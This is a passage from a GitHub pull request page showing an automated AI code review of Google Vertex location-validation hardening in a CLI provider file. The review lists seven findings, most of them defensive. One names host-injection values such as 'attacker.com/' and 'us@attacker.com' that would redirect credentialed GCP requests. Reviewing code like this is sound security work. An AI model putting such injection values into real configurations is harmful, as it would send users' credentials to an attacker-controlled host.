   Detail: The `location.length > 52` guard is an undocumented magic number with no named constant or derivation note; the longest real GCP region ids are ~25 chars, so the origin of 52 is opaque to maintainers. The regex on the same line already encodes the shape rules.
   Suggested fix: Extract a named constant with a short derivation comment, e.g. `const MAX_VERTEX_LOCATION_LENGTH = 52 // defensive cap; longest GCP region ids are ~25 chars`, or encode segment length bounds in the regex instead of a separate numeric cap.
3. packages/cli/src/provider/provider.ts:45 — Bare new Error deviates from NamedError convention
   Detail: provider.ts reports failures through structured typed errors built from NamedError.create in packages/util/src/error.ts (e.g. `throw new InitError({ providerID }, { cause: e })` in getSDK, ModelNotFoundError in getModel). The new `throw new Error("Invalid Google Vertex location...")` is a bare string Error, bypassing the structured error pipeline the rest of this namespace uses for user-facing reporting.
   Suggested fix: Define the error via NamedError.create (e.g. ProviderOptionError with providerID/option/value fields) and throw it with the offending value and providerID, keeping the human-readable hint in the message.
4. packages/cli/src/provider/provider.ts:62-64 — GOOGLE_VERTEX_PROJECT interpolated into URL unvalidated
   Detail: googleVertexVars() strictly validates `location` but exports `project` verbatim from the same untrusted sources (aictrl.json options or GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT env) as GOOGLE_VERTEX_PROJECT, which is string-interpolated into the templated API URL path (https://${GOOGLE_VERTEX_ENDPOINT}/v1/projects/${GOOGLE_VERTEX_PROJECT}/locations/...). A project value containing '/', '?', '#', or '..' rewrites the path or query on the validated googleapis.com host — the same trust boundary and interpolation pattern that motivated the location hardening, left unchecked. Impact is bounded (the host is already validated) but it enables path/query confusion.
   Suggested fix: Validate project alongside location, e.g. `if (!/^[a-z][a-z0-9-]{4,28}[a-z0-9]$/.test(project) && !/^[0-9]{4,30}$/.test(project)) throw ...` (project ID or project number) inside googleVertexVars, mirroring googleVertexLocation.
5. packages/cli/src/provider/provider.ts:384-386 — google-auth-library import now eager at provider load
   Detail: `await import("google-auth-library")` moved from inside the fetch callback (loaded on first request, only for actual Vertex usage) to provider-load time: it now runs during state initialization whenever a project env var is set (GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT are common in GCP shells and CI), adding the module-load cost to every CLI startup for users who may never use Vertex. If the dynamic import ever rejects, the throw now happens inside the shared CUSTOM_LOADERS loop and breaks all provider resolution instead of a single provider's request.
   Suggested fix: Keep the module lazy while sharing the instance: memoize inside the closure, e.g. `const getAuth = async () => new GoogleAuth({ scopes: [...] })` with the import inside a lazily-resolved promise, invoked from the fetch wrapper on first use.
6. packages/cli/src/provider/provider.ts:410-417 — google-vertex-anthropic bypasses the new location validation
   Detail: The new location hardening only covers providerID === "google-vertex": the sibling CUSTOM_LOADER "google-vertex-anthropic" (provider.ts:408-418) reads the same GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION env vars into options.location with no googleVertexLocation() validation, no trim/lowercase, and the final-loop normalization at provider.ts:1111 exact-matches only "google-vertex", so config-supplied provider["google-vertex-anthropic"].options.location is also merged unvalidated. The value exists solely to be interpolated into that provider's endpoint URL, so values like "attacker.com/" or "us@attacker.com" keep the exact host-injection class this PR fixes for google-vertex, and the provider's requests (which authenticate with the user's GCP credentials) would be sent to the attacker-controlled host.
   Suggested fix: Route the sibling loader through the same helpers: `const location = googleVertexLocation({})` (keeping "global" as its own default before fallback) and build its endpoint with googleVertexEndpoint(location). Widen the final-loop guard to `if (providerID === "google-vertex" || providerID === "google-vertex-anthropic") provider.options.location = googleVertexLocation(provider.options)`, and add rejection/normalization tests mirroring the google-vertex ones.
7. packages/cli/src/provider/provider.ts:1111 — Invalid Vertex location crashes all provider loading
   Detail: googleVertexLocation() throws on invalid input, and it is invoked unguarded in two places that run for every provider load: the google-vertex custom loader (provider.ts:382, called via `const result = await fn(data)` at provider.ts:1085 with no try/catch) and the all-providers normalization loop (provider.ts:1111). Both sit inside `Instance.state(...)`, so one bad GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION value or aictrl.json `options.location` (a zone like "us-central1-a", a typo, an empty string, or a non-string) makes state() reject and Provider.list/getProvider/getModel/defaultModel fail for ALL providers, including unrelated ones. Before this PR the same values only produced a broken hostname for google-vertex models at request time. The neighbouring code in the same loops degrades gracefully (log.error + continue at provider.ts:1082-1083, delete + continue at provider.ts:1105-1106), so the fail-hard crash is also inconsistent with the file's own convention. Repro: Given GOOGLE_CLOUD_LOCATION=us-central1-a (a zone, commonly exported in gcloud shells) and any config that mentions google-vertex, When the user runs any command that resolves providers, Then state initialization throws "Invalid Google Vertex location" and every provider/model operation fails, including unrelated providers.
   Suggested fix: Contain the failure to the google-vertex entry, matching the loop's existing degradation convention: wrap the normalization in try/catch and on failure log.error the reason and delete/skip the google-vertex provider (`try { provider.options.location = googleVertexLocation(provider.options) } catch (e) { log.error(String(e)); delete providers[providerID]; continue }`), and/or catch the loader throw at the `await fn(data)` site. Alternatively defer validation to first use (fetch/getSDK) instead of provider enumeration so a misconfigured Vertex cannot take down unrelated providers.
📋 Out-of-diff findings (7)
Sev Location Finding
🟡 packages/cli/src/provider/provider.ts:44-45 Regex now rejects zones and legacy values on a backport
packages/cli/src/provider/provider.ts:44 Magic length cap 52 for location is unexplained
🟡 packages/cli/src/provider/provider.ts:45 Bare new Error deviates from NamedError convention
🟡 packages/cli/src/provider/provider.ts:62-64 GOOGLE_VERTEX_PROJECT interpolated into URL unvalidated
packages/cli/src/provider/provider.ts:384-386 google-auth-library import now eager at provider load
🟠 packages/cli/src/provider/provider.ts:410-417 google-vertex-anthropic bypasses the new location validation
🟠 packages/cli/src/provider/provider.ts:1111 Invalid Vertex location crashes all provider loading

Reviewed 2 files · 0 inline · view all 7 findings ↗


aictrl · AI code review for fast-moving teams · aictrl.dev

@byapparov byapparov self-assigned this Sep 14, 2026
@byapparov byapparov added the bug Something isn't working label Sep 14, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant